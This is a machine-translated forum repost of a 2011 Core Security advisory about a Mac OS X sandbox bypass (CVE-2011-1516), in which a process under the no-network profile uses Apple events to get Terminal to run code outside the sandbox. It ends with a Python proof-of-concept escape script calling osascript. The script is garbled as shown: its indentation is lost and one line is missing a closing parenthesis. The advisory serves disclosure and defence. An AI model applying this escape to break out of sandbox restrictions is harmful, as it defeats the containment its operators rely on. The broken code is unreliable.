Vulnerability in Mac OS X Sandbox

PC software and patches shared by the community: emulators, game fixes, utilities and tools, with versions and links.
User avatar
sniper3d
Master Gamer
Members
Posts: 2480
Joined: Mon 3 Jan 2011 13:07
Wi-Fi: Oui
PS3 Dongle: Aucun

Vulnerability in Mac OS X Sandbox

Post by sniper3d »

Automatically translated from French.

Researchers from Core Security Technologies discovered a security hole that could allow someone to bypass the restrictions sandbox of the Mac OS X application.


1. Information

Title: Apple OS X predefined profiles Sandbox Bypass
Advisory ID: CORE-2011-0919
Advisory URL: https://www.coresecurity.com/content/ap ... box-bypass
Publication Date: 10/11/2011
Last Update Date: 10/11/2011


2. Vulnerability Information

Class: access control failure CWE-264
Impact: Code Execution
Remotely Exploitable: Yes
Locally Exploitable: No
CVE Name: CVE-2011-1516


3. Vulnerability Description

Several of the default and pre-defined profiles are not properly secured.
A hypothetically compromised application limited by the use of the no-network profile could have access to network resources through the use of Apple events to invoke the execution of other applications that are not directly limited by the sandbox.

It should be noted that a similar issue was reported by Charlie Miller in his speech at Black Hat Japan 2008 [2]. He mentioned some default sandbox procedures, as well as a method to bypass the protection. Some time after the speech, Apple modified the mentioned profiles by limiting the use of Apple events, but did not modify the generic profiles.

4. Vulnerable Packages

Apple Mac OS X 10.7.x
Apple Mac OS X 10.6.x
Apple Mac OS X 10.5.x


5. Non-Vulnerable Packages

Apple Mac OS X 10.4
import os
import sys
import socket

if len(sys.argv) != 2:
print "[-] Usage: sandbox-exec -n no-network python %s hostname" % sys.argv[0]

try:
targetIP = sys.argv[1]
s = socket.socket()
s.connect((targetIP, 80))
s.send('GET /\r\n\r\n')
print(s.recv(1024))
print "\n\n\n[+] Sandbox escaped"

except Exception, e:
if "Operation not permitted" in str(e): #print repr(e)
print "[-] Blocked by seatbelt"
print "[ ] Escaping..."
os.system("""/usr/bin/osascript -e 'tell application "Terminal" to do script "python %s %s"'""" % (sys.argv[0], targetIP)

Source

Everything for PC